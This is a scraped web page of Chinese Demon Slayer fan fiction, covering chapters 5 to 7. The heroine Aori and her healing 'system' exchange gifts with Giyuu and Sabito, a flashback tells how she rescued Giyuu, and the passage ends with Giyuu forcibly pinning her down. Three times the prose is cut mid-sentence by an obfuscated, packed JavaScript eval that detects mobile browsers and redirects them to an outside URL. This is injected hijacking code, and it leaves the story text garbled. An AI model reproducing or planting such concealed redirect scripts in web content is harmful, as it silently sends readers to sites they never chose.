;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815298|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而且000也在,这就保证了她不会出现生命危险,但后面这个理由不能告知富冈义勇。 这一次除了老板娘的请求外,阿织本还指望能探听到一些有用的消息,谁知刚想细听那条“铁路”的情况,就遭遇了这样的意外。 不过,阿织一直都知道自己能做到的事情不多,这种情况和几乎处于人类巅峰的“柱”相比就更加明显了。 她的声音慢慢低了下来:"我知道自己帮不上什么大忙......" 富冈义勇:我不是这个意思。 他本意是想让阿织更加注意自身安全,然而话一出口就变了味道。 他很轻易地就察觉到了阿织的低落,少女面容上的光彩都黯淡了些许,这让他不知该如何继续这个话题。 富冈义勇感到一阵无措。 如果是一位剑士,一位鬼杀队的队员,在他面前流露出这样的自我怀疑,富冈义勇一定会严厉地指出这种想法的错误。 因为早年的经历,他对这种消极的情绪格外敏感。 与其否定自己的价值,不如思考如何进步,然而阿织显然与那些经历严格训练的剑士不同。 她不是斩鬼的剑士,甚至严格来说都算不上是鬼杀队的正式成员。 但富冈义勇清楚地知道,每个人都在以自己的方式为共同的目标努力,阿织的善良与纯粹,本身就是一种难得的力量。 一时间,富冈义勇甚至回想起当初那位大人同意阿织来时任屋时的考量——正是看中了她那份想要做事的真诚。 “………” 阿织的消沉并没有持续太久。 富冈义勇还没来得及为自己刚才的那句话找补,阿织就已经轻轻吸了口气,重新振作起来。 为了缓和气氛,她眉眼间重新浮现出温暖的笑意。 就在刚才,000扫描了富冈义勇的身体,发现他这次竟然一点伤都没有。 自从知道系统有这个功能后,阿织每次与富冈义勇见面都会让它偷偷扫描一下。 而以往的结果大多让她心惊——她始终无法理解,怎么会有人带着那么严重的伤势还能若无其事地活动。 阿织是见过“鬼”的,它们狰狞可怖,以人为食,拥有着诡异且超然的力量。 她没有那样的实力与富冈义勇一同对抗恶鬼,但这不妨碍她由衷地钦佩他的勇气。 在她看来,每一位鬼杀队的成员都拥有着超凡的勇气与毅力。 然而,与恶鬼的战斗总是伴随着危险,阿织时常担忧着富冈义勇的安危。 因为这份担心,不知不觉间,她这里也备上了一些治疗伤口的药品,都是她特意向老板娘请教后精心准备的。 但她真心希望,这些药品永远都没有用上的那一天。 所以这次一点都没受伤真是太好了。 “义勇。”阿织单手托着腮,声音轻柔地唤回黑发剑士的注意力。 她眼中带着温暖的笑意,轻轻拨弄了一下花瓶,里面的千纸鹤立刻随之轻轻摇摆:“你看,我们一起折的千纸鹤也在守护着你呢。” 少女唇角扬起一抹明媚的弧度,眼中闪烁着真挚的喜悦。 那笑容太过纯净,如同初春融化的雪水,不经意间浸润了谁的心田。 富冈义勇比阿织高出许多,他只需微微侧头,就能清晰地看见她脸上的每一个细微表情。 ——太过美好了。 如同夜空中最明亮的那颗星辰,少女含笑的眼睛弯成美好的月牙,鬓边柔软的发丝随着她的动作轻轻晃动。 那份毫不掩饰的真诚喜悦,让富冈义勇的心跳不规律地漏了一拍。 鬼使神差地,富冈义勇伸出手,轻轻将阿织颊边散落的一绺秀发拢到耳后。 他的动作极其轻柔,仿佛在对待一件稀世珍宝,指尖不经意间擦过少女温热的耳廓,带来一阵微妙的触感。 5. 第 05 章 第 05 场景看上去实在是太过暧昧了。 黑发剑士修长的手指轻柔地拂过少女颊边的发丝,两人之间的距离近得能感受到彼此的呼吸。 暖黄的灯光为这一幕镀上了一层朦胧的光晕,茶香与点心甜香交织在空气中,营造出近乎梦幻的氛围。 然而在场的两个人都没有这样的自觉。 阿织只是乖巧地等富冈义勇将她的发丝整理好,仿佛这是再自然不过的事。 突然,她像是想起了什么重要的事情,视线挪到了富冈义勇的脸上,眼眸中闪烁着期待的光芒:“你不是说给我带礼物了吗?” 她双手撑在桌面上,身子微微前倾。那双手的指甲修剪得圆润可爱,虽然没有染色,却自然透出健康的粉嫩色泽,仿佛带着淡淡的芳香。 身体微微下沉的动作让宽大的和服腰带更加清晰地勾勒出她纤细的腰肢,呈现出优美而自然的曲线。 阿织浑然不觉自己此刻的姿态有多么动人,只是好奇地又凑近了些:“快让我看看到底是什么?” 富冈义勇的指尖仿佛还残留着她发丝的柔软触感,他不动声色地轻轻摩挲了一下手指,对上阿织直勾勾望过来的眼睛。 那双眼睛太过清澈,清晰地倒映出他的身影,让他有一瞬间的恍惚。 他抿了抿薄唇,从怀中取出了一个素雅的木盒,轻轻放在阿织手中。 盒子本身并没有什么出彩的地方,朴素的木质表面甚至没有雕刻任何花纹,但盒中装着的物品却意外的精致。 那是一条红色珊瑚手串。 颗颗珊瑚珠饱满圆润,色泽明艳却不显俗气,在灯下流转出温润的光泽,如同凝结的火焰。 富冈义勇的上一个任务地点近海,那里有许多贩卖当地特产的小贩。 这条珊瑚手串刚摆出来时就吸引了他的目光——那光彩夺目的红色,让他不由自主地想起了阿织唇上点缀的胭脂色。 他几乎没怎么思考就买了下来。 “好漂亮。”阿织轻声赞叹,眼中闪烁着毫不掩饰的欣喜。 她迫不及待地将手串戴到手腕上,白嫩纤细的手腕与艳红的珊瑚珠形成了鲜明的对比,愈发显得肌肤胜雪。 系带有些长,随着她的动作,珊瑚珠串在腕间轻轻晃动,映着灯光流转出迷人的光彩。 阿织爱不释手地抚摸着腕上的珊瑚珠,她将手腕抬起,对着灯光轻轻晃动,看着珠串在光线下折射出深浅不一的光晕:“我很喜欢。” 看着少女毫不掩饰的开心,富冈义勇也不自觉地被这份情绪感染,一直紧绷的心情终于放松了些许。 他执起茶杯,浅浅地啜饮了一口,温热的茶汤带着清香滑入喉中。 “义勇啊……” 阿织单手撑起下巴,无意识地舔了舔嘴唇,缺了一点口脂的唇瓣瞬间变得水润起来。 她又凑近了些,神秘地对黑发剑士说道:“其实……我也有礼物想要给你。” 那张无可挑剔的脸颊离得更近了,浓密的睫毛在灯光照射下投下细密的阴影。 干净澄澈的眼眸中满满地映照着他的身影,坦荡得似乎可以透过这双清澈的眼睛,窥见她隐藏在深处的内心世界。 与之相对的,富冈义勇也能从那双眸子里,清楚地看到倒映着的自己。 那一瞬间,他仿佛在与自己对视,内心深处某个柔软的角落被轻轻触动。 阿织偏着头,很耐心地等待着富冈义勇问她准备的礼物是什么,却迟迟得不到回应。 她轻轻皱起了眉头,决定稍微提示一下:“我现在可是很有钱的哦!” 在闲暇的时候,阿织整理了自己堆积起来的东西,发现她现在确实称得上富裕。 明明也没有刻意地攒钱,这些年在时任屋不知怎的就积累了大笔钱财,大多是一些富商慷慨相赠的礼物。 而她在吉原本身也用不到这些,不如给富冈义勇,让他用在更有用的地方。 富冈义勇明显愣了一下。 而阿织已经起身走向榻边,从旁边取出了一个木箱子,费力地抱至富冈义勇面前。 她拒绝了富冈义勇的帮忙,打开箱子,顿时满屋流光溢彩。 有难得一见的宝珠、当下时兴的名贵首饰,以及数不清的钱财……这些财宝的价值足够一个人在京都奢华地生活一辈子了。 阿织眼巴巴地望着富冈义勇,指着箱子里的金银珠宝,颇有些炫耀地轻轻抬了抬下巴。 她用献宝似的语气说道:“我在吉原用不上这些,若是能帮到你们就最好啦。” 富冈义勇冰蓝色的眼睛瞬间瞪大了些,他定定地看着阿织,心中涌起复杂难言的情绪。 有感动,有担忧,更有一丝说不清道不明的疼惜。 有时候富冈义勇都会觉得,阿织和他们不是一个世界的人。 又或者……阿织真的不是这个世界的人。 毕竟,直到现在也无法解释她为何会出现在那个生死攸关的历练之地,就连她的身份,也充满了无数疑点。 ◇◇◇◇◇◇ 记忆如潮水般涌来,将富冈义勇带回到了那个改变命运的夜晚。 阴暗破败的密林里,月色被浓密枝叶切割得支离破碎,空气中弥漫着血腥和腐臭,那是恶鬼特有的气息。 隐藏在暗处的鬼窥伺着,发出贪婪的低吼,猩红的眼睛在黑暗中闪烁,伺机而动。 只要身处其中的人有一丝一毫的懈怠,等待他的就是四分五裂的下场。 那时的富冈义勇还只是个参加最终选拔的少年,他浑身是伤,鲜血从额头的伤口不断流淌下来,模糊了他的视线。 他从未如此接近死亡,意识逐渐模糊,身体逐渐冰冷,连握刀的力气都在流失。 “不能死……” 富冈义勇咬紧牙关,脑海中闪过姐姐富冈茑子的面容,闪过锖兔坚定的眼神,闪过所有他发誓要守护的人。 死亡,意味着不能通过考核,意味着不能加入鬼杀队杀鬼,意味着他彻底的失败和无能。 这个认知比身上的伤口更让他感到痛苦。 富冈义勇清楚地知道接下来会发生什么事——他会被潜伏在暗处的鬼撕成碎片。 然而,在无限的寂静中,他听到了一道愈来愈近的、夹杂着哽咽的哭喊声。 “不要死……” 那声音很近很近,像是害怕极了,声线抖得不行,然后是接连不断的啜泣声。 有滴滴答答的水珠打在了他的脸上,带来阵阵湿意和微热的温度,不是雨,是泪水。 富冈义勇想要努力睁开眼睛,但眼皮却像是被涂上了一层胶水那样沉重。 他无法进行思考,大量的失血让他的体温快速流失,像是置身于冰天雪地那般,连肺部都要被冻住了。 就在他完全丧失意识的前一秒,一双手落在了他的胸口处。 紧接着,难以言喻的温暖从接触的地方蔓延开来,迅速驱散了四肢的寒冷与僵硬。 伤口处的剧痛也奇迹般地消退,力量重新在身体中涌动。 这场景,简直如同神迹降临一般。 ……… 富冈义勇猛得睁开了双眼,看见的就是泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815299|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼朦胧的少女。 她跪坐在他身侧,精致的小脸上满是泪痕,惊喜地看着他醒来,哽咽地说道:“太好了…你没事……” 她这么说着,一滴泪珠还顺着洁白的下巴尖滴落到了他的手上,那温度有些滚烫,富冈义勇不自觉地缩了缩手指。 与此同时,他感到身体是从未有过的轻松,就好像根本没有受到过鬼的袭击……不,是比他完全休整好之后更加舒适的状态。 “谢谢你救了我。”他说道,声音因伤势初愈而有些沙哑。 明明是不认识的人,怎么会哭得这么真切呢?真切的就像是他是她极为重要的人一样。 这个疑问在富冈义勇心中悄然生根。 少女眼睛很湿润地望着他,还止不住地、十分惹人怜悯地抽噎着,却在富冈义勇的注视中慢慢摇了摇头,否认了“救了他”这件事。 她说她也不知道发生了什么事,只是看到他受伤了。 富冈义勇抿了抿唇,没有再继续追问下去。 接下来的时间里,富冈义勇一边护着这位陌生少女,一边确定了她不是这一期试炼的成员。 她根本没有丝毫作战的能力,那白嫩的掌心没有丝毫磨损,光滑细腻得好像从来没有劳作过一样。 这无疑体现出她之前应当生活优渥,备受呵护。 她的服装更不是易于行动的便装,而是样式简单但品质考究的和服,这也绝对不是来参加生死试炼的人该有的装扮。 一路上他们幸运地没有遇到几只鬼,或者说鬼已经差不多全部被消灭了,偶尔有几只漏网之鱼,也不是他的对手。 富冈义勇没费多少力气,就将它们一一斩杀。 在这个过程中,他寸步不离地保护着少女,时常需要紧紧揽住她的腰部以快速移动。 她害怕极了,娇小的身躯在他怀中发着细颤,如同受惊的雏鸟。 “别怕。”他一边斩杀着残留的鬼,一边低声安抚,那声音是他自己都未曾察觉的温和。 直到他找寻到了同伴,看到锖兔正一人竭力对抗着庞然大物般的“手鬼”。 富冈义勇将她安置在相对安全的树丛后,握紧刀柄,毅然加入了战场。 ……… 在激烈的战斗中,“手鬼”突然分心了。 那一瞬,它表现出来的是和之前的游刃有余截然不同的害怕,它的视线……看过去的好像是富冈义勇刚才留下少女的位置。 富冈义勇不太确定这是不是自己的错觉,事实上,他睁开眼睛之前的记忆,已经变得模糊不清了。 清亮的刀鸣声中,两个戴着驱灾面具的少年剑士,身体高高跃起,一左一右劈向了露出破绽的“手鬼”。 就此,这只吞噬了无数生命的恶鬼被他们斩杀。 藤袭山的鬼被尽数斩杀,选拔过程中无一人死亡,其中锖兔斩杀鬼的数目最多,拔得头筹。 毫无疑问,这一期的所有成员均合格,幸存者或紧张或高兴地等待宣布试炼的结果。 只有那个神秘的少女独自一人站在紫藤花树下,时不时担忧地看过来几眼,整个人都写满了无助与迷茫。 后面,经过『隐』部的详细调查,确认少女确实不是那一期的测试人员。 但是,她好像是丧失了全部记忆,只知道自己名叫“阿织”,除此之外,对自己的身世来历一无所知。 她到底是何身份,又是怎么出现在生死一线的藤袭山的,这些都成为了一个无法解开的谜题。 谜一样的阿织,就这样闯入了富冈义勇的生命,如同命中注定的邂逅。 6. 第 06 章 第 06 对于阿织来说,与富冈义勇初遇时的情景,是一段至今想来仍让她心有余悸的往事。 那时的她,还完全不了解这个世界的残酷,也不明白眼前这个冷峻的剑士背负着怎样的宿命。 每每回忆起那个夜晚,阿织仍会觉得指尖发冷,仿佛自己还置身于那片阴森的密林,耳边回荡着鬼物可怖的嘶吼。 那是她第一次被系统000传送到这个世界,按照常理,作为新手的她本应面对一个温和的入门任务,她只需要按照指引行事即可。 然而现实却给了她一个截然不同的地狱般的开局,她一睁开眼,就发现自己站在一片阴森可怖的密林里。 时值深秋,枯槁的草木在惨淡的月光下投下狰狞的阴影,扭曲的枝桠像是鬼怪伸出的利爪,在夜风中发出令人毛骨悚然的窸窣声。 空气中弥漫着令人作呕的血腥味和某种难以名状的腐败气息,枯叶在脚下发出脆响,每一片都像是碎裂的骨头。 这与系统所描述的以及她想象中的任务场景截然不同。 冰冷的夜风穿透衣料,阿织下意识地抱紧双臂,她的衣衫根本无法抵御林间的寒意,甚至能感觉到自己的牙齿在打颤,发出细微的磕碰声。 然而比起环境的恶劣,更让她恐惧的是系统的异常。 原本应该指引她进行任务的系统000,在来到这里的过程中似乎遭受了某种未知的冲击,代码陷入了一片混乱。 断断续续的机械警报声在她脑海中回响,像是损坏了般发出刺耳的杂音,搅得她惶恐不安。 【……警报……错误……发……未知错误……】 【……警报……错误……任务对象……警………】 这些破碎的语句根本无法组成完整的指示。 与此同时,林中每一丝风吹草动都让她胆战心惊,远处不时传来的怪异嘶吼更是让她浑身发抖。 阿织蜷缩在一棵枯树下,无助地抱紧双膝,泪水在眼眶中打转,恨不得将自己缩得更小一些,完全藏匿在这片令人恐惧的黑暗之中。 她甚至能听到自己心脏狂跳的声音,在寂静的林中格外清晰。 那种被全世界抛弃的孤独感,几乎要把她给吞噬了。 不知过了多久,当她的眼泪都快要流干的时候,000终于恢复了正常。 随之而来的是更加刺耳的警报,那些机械音终于清晰了,却也她脑海中全方位、多角度地滚动刷屏,毫不留情地宣告着残酷的事实。 【警告:任务对象“富冈义勇”生命垂危,请立即采取救援行动!】 【警告:任务对象生命体征正在急速下降!】 000安抚了阿织几句,就指引着她拨开浓密的灌木,去寻找幽暗密林里遇难的任务对象。 阿织每走一步都像是踩在刀刃上,好在有000后她没有那么害怕了,等她终于看见那个倒在血泊中的少年时,整个人都僵住了。 少年剑士浑身是伤,鲜血染红了身下的土地,胸口的起伏微弱得几乎看不见。 月光照在他苍白的脸上,映出一种近乎透明的脆弱感。 那些伤口深可见骨,鲜血还在不断地从其中渗出,将他的衣衫浸透。 “我该怎么做?”阿织颤抖着问系统,声音里带着明显的哭腔。 她从未见过如此惨烈的场面,那双总是含着笑意的眼眸此刻写满了惊恐与无措。 000清楚地告知了她该怎么做,阿织强忍着内心的恐惧,将双手轻轻覆在少年冰凉的胸口。 她的手指冰凉,连最基本的动作都变得笨拙。 一股奇异的力量从她掌心涌出,温暖的光芒如春水般流淌,渐渐笼罩了少年伤痕累累的身躯。 就在她全力施救的过程中,系统因为能量耗尽再次陷入了沉默,留给她的只有一片令人不安的寂静。 她只能凭借本能继续治疗,感受着掌下生命的微弱跳动。 当富冈义勇苏醒时,看到的就是泪眼朦胧的她,正用那双柔软的手掌贴在他的胸前。 她脸上还挂着未干的泪珠,眼神却带着如释重负的欣喜,仿佛他的生死对她而言是极其重要的事情。 月光勾勒出她精致的侧脸,那些泪珠在月色下闪烁着珍珠般的光泽。 “太好了,你没有事。”阿织哽咽着对富冈义勇说道。 后面,阿织被恢复过来的富冈义勇保护着前行,褪去最开始的印象,清醒过来的富冈义勇显然更加真实。 察觉到她在瑟瑟发抖,任务目标就把自己的羽织披在了她身上,这也让她悬浮的心稍微安定了一些。 而在接下来的同行中,阿织见识到了这个世界的可怕之处。 那些被称为“鬼”的怪物,长着骇人的獠牙利爪,眼中闪烁着嗜血的光芒,以人类血肉为食。 她也见识到了富冈义勇精湛的剑术,那些凶恶的鬼物在他的刀下不堪一击。 令她惊讶的是,这个刚刚还命悬一线的少年,在恢复意识后竟展现出如此强大的战斗力。 他的每一个动作都干净利落,刀光闪过之处,必有鬼物哀嚎着化为灰烬。 而最令她难忘的,是那个与巨大手鬼战斗的夜晚。 无数可怖的手腕缠绕在周身,手鬼扭曲的躯体很高大,全身血管暴涨着想要捏碎悬在半空中手里握着刀的人。 那是一个肉色头发的少年,脸上戴着驱灾狐面,在半空中躲避着"异形"的攻击,看起来有些惊心动魄,龟甲纹羽织发出猎猎的风声。 谁都能看出来,他处在一个很危险的境地。 紧接着,她的任务对象也加入了进去,他们似乎认识,配合默契地挥刀数次斩断了鬼的手,然而即便这样,一时间也拿怪物没办法。 鬼能够再生手臂,能够自愈,但是剑士受了伤会一直流血,身体会变得虚弱,还会感觉到疲惫。 ——太不公平了。 阿织担忧极了,心脏仿佛悬在了半空中,她的视线跟随着任务对象忽上忽下地移动。 只她根本没有发出任何声响,大部分身体还都在草丛的遮挡下,而且还隔着很长的一段距离,本不该被注意到的。 就是在这种情况下,那只原本紧盯着少年剑士,睁着硕大的眼睛的怪物,将视线挪到了她这个方向,竟流露出难以置信的惊恐神色。 微不足道的一秒分神,虽然短暂,却足以让两位敏锐的剑士抓住了制胜的机会。 伴随着刀剑击打在坚硬事物上的嗡鸣声,少年剑士们不顾身上的伤口,抓住了恶鬼这一瞬间的注意力分散,顷刻间斩断了恶鬼的脖子。 然后在恶鬼化为飞灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815300|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失殆尽的背景中,踉跄着后退了几步,力竭般得大口喘着粗气。 阿织却浑身发冷。 她清楚地记得,那怪物硕大的眼睛在看向她时,整个扭曲的身躯都不受控制地颤抖起来,仿佛看到了什么可怕的事物。 她很疑惑,也问出来了:“刚才那只鬼……是怎么回事?” 000却没有给出答案。 ◇◇◇◇◇◇ “义勇?” 阿织唤了好几声,也没有得到回应,她不得不揪住富冈义勇的衣袖晃了晃,眼底流露出几分催促。 仔细看,黑发剑士的视线一直停留在阿织身上,但实则那双深蓝色的眼睛中根本没有聚焦。 一副不在状态的样子,其实是在出神,阿织都不知道说什么好。 好可恶的富冈义勇啊,竟然在她说这么重要的事的时候走神。 阿织眼中含着嗔怪:“我都叫你好几声了。” 富冈义勇这才意识到自己方才完全陷入了往事的回忆中。 他注视着眼前这个已经不再像初见时那般惶恐无助的少女,心中泛起一丝难以言喻的情绪。 四年过去了,她依然保持着那份独特的纯真,却又在不知不觉中多了几分坚韧。 她的眼眸依旧清澈,但其中已经少了几分当初的惊慌,多了几分沉淀下来的宁静。 阿织见他依旧沉默,不由得叹了口气,她的手指轻轻拾起一串珍珠,那些圆润的珠子在烛光下泛着柔和的光泽,也照亮了她的眼睛。 她指着那箱在烛光下熠熠生辉的珠宝,语气中却带着几分失落:“我知道这些东西有些肤浅,但我现在能拿得出手的,也只有这些了。” “如果我也能像你这么厉害就好了。” 这样的话,不仅是在完成000的任务上,在帮助富冈义勇方面也能起到更大的作用。 这句话说得极轻,却像一块石头投入平静的湖面,在富冈义勇心中荡开层层涟漪。 他的手指无意识地摩挲着茶杯的边缘,那双总是波澜不惊的眼眸中,流露出不赞同的神色。 “你很好!”富冈义勇声音清越,这一次传达出来的意思很准确,“你已经帮我们很多了。” 很多时候,少女总是能在不经意间触及他内心最柔软的角落,而这一点,她自己根本没有意识到。 她的真诚与关切,就像黑夜中的一盏明灯,照亮了他漫长战斗生涯中那些不为人知的孤独时刻。 她的存在,仿佛是这个残酷世界中的一处净土,让他偶尔也能暂时放下肩头的重担。 她根本不知道自己有多好。 远处飘来了游女们的歌声与丝竹之音,那悠扬的旋律隔着重重庭院传来,为这个夜晚增添了几分虚幻的暖意。 这若有若无的乐声,与室内稍显沉闷的氛围形成了微妙的反差。 富冈义勇想要再安抚她几句,只他实在不擅长此事,最后揉了揉阿织的头发,收下了她的礼物。 这些钱财会按照阿织的意愿,交付给鬼杀队的相关部门。 阿织眯着眼睛笑了,合拢木匣时发出轻微的“咔嗒”声,在这个静谧的室内显得格外清晰。 片刻后,她想到了什么,歪着头问道:“锖兔呢?不是说你们会一起来吗?他怎么没有来呀?” 7. 第 07 章 第 07 昏黄的灯光将两人的身影投在纸门上,交织出模糊的轮廓。 就在阿织询问锖兔为何迟来的话音刚落下时,窗外忽然传来“咚咚”的敲击声。 那声音先是急促的几声,停顿片刻后,又转为规律的节奏,仿佛某种心照不宣的暗语。 阿织闻声望去,与富冈义勇交换了一个眼神,随即提起和服下摆,小跑着来到窗边,动作轻快地拨开插销,将窗户向内拉开。 当她推开窗户的刹那,眉眼间绽放出毫不掩饰的欣喜。 今夜无风,皎洁清冷的月光如水银般倾泻而下,将窗外的庭院染上一片朦胧的银白。 月光下,静静伫立着一位戴着驱灾狐面的青年。 那狐面表情诡异,在月色映照下更添几分神秘,虽然后者周身气息平和,并无半分戾气,但若是不明所以的人乍见这一幕,恐怕还是会惊得叫出声来。 阿织却显然对此习以为常,不仅不怕,眉眼间反而浮现出纯粹的、毫不设防的快乐。 她笑意盈盈地侧开身体,为窗外之人留出足够的空间。 “锖兔!”她轻声催促,语气里带着熟稔的亲昵,“快进来啊!” 闻言,肉发剑士利落地单手扶着窗棂,修长有力的手臂稍一用力,整个人便如同夜行的猫科动物般,轻盈而迅捷地纵身跃入室内。 动作流畅,带着一种经过千锤百炼的矫健。 他身上似乎还沾染着夜间赶路时留下的淡淡露水湿气,以及一丝不易察觉的属于草木的清冽味道。 阿织跟在他身后,弯着一双好看的眼睛,故作抱怨道:“锖兔,这次太慢了吧。” 室内,温暖的灯光将每一个角落都照得亮堂堂的。 锖兔为了尽快赶到,选择了更为偏僻寂静的小径,眼睛早已习惯了黑暗。 此刻骤然置身于明亮光线下,他不适地眯了眯眼,视线有几秒钟的重影和模糊。 待那阵短暂的光晕过去,视野重新变得清晰,锖兔才真正看清楚了转过身来的阿织此刻的模样。 ——很美。 这个词几乎是瞬间闯入他的脑海。 少女显然是经过了一番精心打扮,平日里素面朝天的她,今夜薄施粉黛,淡扫蛾眉。 那妆容并不浓艳,却恰到好处地凸显了她五官的精致。 乌黑如瀑的长发被仔细地盘起,露出线条优美的脖颈,几缕不听话的发丝垂在颊边,更衬得肌肤雪白。 灯光下,她整个人仿佛一幅被精心描绘的浮世绘美人图,带着一种不真实的美感,让人挪不开目光。 然而,这短暂的欣赏过后,锖兔敏锐的观察力立刻让他捕捉到了不寻常的气息。 他垂眸,目光凝在少女泛着浅淡笑意的面颊上,鼻尖微微一动,除了她身上惯有的香气外,还嗅到了酒气。 那酒味不算太浓烈,但混杂在她自身的体香和脂粉味中,却显得格外突兀。 锖兔的面色几不可察地沉了沉,眉头微微蹙起,声音里带上了一丝不易察觉的紧绷:“发生什么事了?” 他了解阿织,她从不喝酒,也向来不喜欢繁琐的盘发,总觉得那些沉重的发饰束缚着她,更偏爱让长发自然披散。 至于化妆,她更是能免则免。 往常即便需要她出面弹琴,她也多是处于屏风之后,绝不像今日这般郑重其事,妆容完整,衣衫也明显是比较正式的。 这些信息汇入脑海的瞬间,锖兔就断定今晚发生了不寻常的事情。 “你怎么知道?”阿织惊讶地微微张开了嘴,圆润的杏眼睁大了些,里面写满了纯粹的困惑和不可思议,“义勇是刚好看到,可你明明是才到的呀!” 她似乎完全没想着要回答,反而执着于锖兔是如何未卜先知的。 阿织又追问了一句,语气里带着孩子气的在意:“锖兔,你到底是怎么知道的嘛?” 看着她这副毫无防备甚至带着点傻气的样子,锖兔和坐在旁边一直沉默不语的富冈义勇交换了一个眼神,然后落座。 两个高大的青年在两边相对而坐,阿织位于他们中间。 因为距离很近,他们挺拔的身形几乎能将纤细的少女完全遮挡住。 那是非常明显的体型差,带着一种无声的压迫感。 阿织对他们全然信任,所以毫无戒心,这固然是好事,但反过来说,她似乎对所有人都缺乏足够的警惕。 包括那位仅仅只是合作关系,遵循利益至上的老板娘。 锖兔望着依旧懵懂、还在等他解答“如何知晓”这个无关紧要问题的阿织,将已经到了嘴边的批评话语硬生生咽了回去。 他深吸一口气,决定先听听她的解释:“发生了什么事?” “这是个意外。”阿织开始叙述,经过了一段时间的缓冲,她语气变得轻松起来,“我是要去拒绝他的……” 她将晚上的经历从头到尾讲了一遍,包括老板娘的再三保证,以及那位名为“高桥淳一”的所有事情。 在她叙述的过程中,富冈义勇始终面无表情,锖兔虽然面色依旧温和,但周身的气息却变得冷峻下来。 少女说完,甚至还用今天运气不好做了最后的总结。 完完全全没有抓住重点! 她似乎根本没意识到面对陌生男性所蕴含的危险,那代表着觊觎和未知的麻烦。 如果说富冈义勇和锖兔今天都恰好有任务赶不回来呢?到时候老板娘会不会及时帮忙也是个问题。 富冈义勇垂在身侧的手倏地握紧,指节因为用力而微微泛白。 他抬眼看向锖兔,声音低沉地补充了最关键的部分,也是被阿织轻描淡写略过的地方:“我赶到的时候,她正在被欺负。” “没有被欺负!”阿织立刻像是被踩到尾巴的猫儿一样,有些激动地拍了下身前的矮桌反驳道。 她的脸颊因为羞窘和一点点不服气而微微泛红:“只是运气不好,不小心跌倒了!” 她情绪激动时,那双漂亮的眼睛会直勾勾地瞪着对方,试图显得有气势。 但配上她微红的脸颊和湿润的眼眸,效果却适得其反,更像是在委屈地控诉,反而更引人怜惜。 可是这哪里是运气不好! 锖兔在心中叹息,其实有很多麻烦,早已经在阿织不知道的时候,已经被私下里不动声色地解决了。 富冈义勇与锖兔的目光再次在空中交汇,这一次,彼此眼中都清晰地表达出了担忧与后怕,以及一丝必须让她认清现实的决心。 室内突然变得异常安静。 不知是不是小动物般的直觉终于苏醒,阿织竟从这沉默的对视中嗅到了一丝不同寻常的危险气息。 她下意识地咽了咽口水,身体不着痕迹地、慢慢地向后挪动了一点,试图拉开一点距离。 但她的预警来得太迟,行动也太缓慢了。 几乎是在她后退的瞬间,一直沉默寡言的黑发剑士突然动了。 他的动作快如闪电,带着一种经年累月训练出的精准与力量,结实宽大的手掌如同铁钳般,轻易地捉住了阿织单薄的肩膀。 “啊!”阿织只来得及发出一声短促的惊呼,整个人就被一股不容抗拒、却又控制得恰到好处的力道,轻而易举地压倒在冰冷的桌面上。 细瘦腕子上那串鲜艳的珊瑚珠串猛地磕碰在坚硬的木质桌面,发出一连串清脆而令人心惊的响声,却丝毫没有引起施力者的怜悯。 “如果他要对你做一些不好的事情怎么办?”富冈义勇的脸色阴沉得可怕,他俯视着被禁锢在方寸之间的少女,声音里压抑着怒意。 他继续补充:“就像现在这样,你根本无法反抗!” 那布满厚茧、粗糙而灼热的手掌紧紧贴着肩头细腻的肌肤,带来清晰的刺痛感和绝对的力量差距。 阿织被吓得不能思考,她直愣愣地望着上方富冈义勇不断开合的嘴唇,他低沉而带着怒意的声音仿佛隔着一层水雾传来,模糊而不真切。 “——义勇!” 唇间终于溢出一声带着颤抖和难以置信的呼唤,漂亮的眼睛里盛满了惊愕与无措。 阿织根本无法理解,为什么一向沉默但可靠的义勇会突然对她做出这样粗暴的举动。 她吓坏了,心底还残存着一丝微弱的希望,以为这或许是一个过于恶劣的玩笑。 然而,富冈义勇接下来的行为和话语,彻底粉碎了她这丝侥幸。 原本宽敞的房间因为两人骤然缩短的距离,以及这充满压迫感的姿势,瞬间变得逼仄起来。 离得这样近,阿织能清晰地感受到从富冈义勇身上的几乎化为实质的浓重怒意。 她的双腿也被他的膝盖巧妙地压制住,动弹不得,只能无力地垂落在桌沿。 与她急促慌乱的心跳和呼吸形成鲜明对比的是,压制着她的黑发剑士呼吸依旧沉稳有力,节奏也没有丝毫紊乱。 这种极端对比更加催生出紧张感。 阿织终于后知后觉地意识到,自己似乎陷入了一个极其糟糕和危险的境地。 她不明白,明明刚才还好好的,大家像往常一样说着话,怎么突然之间一切都变了样? 喉咙像是被什么东西紧紧扼住,发不出更大的声音,她只能咬着微微颤抖的下唇,像是一只被猛兽逼到绝境的猎物。 阿织怯生生地发出带着哭腔的声音:“你…你怎么了?放开我……” 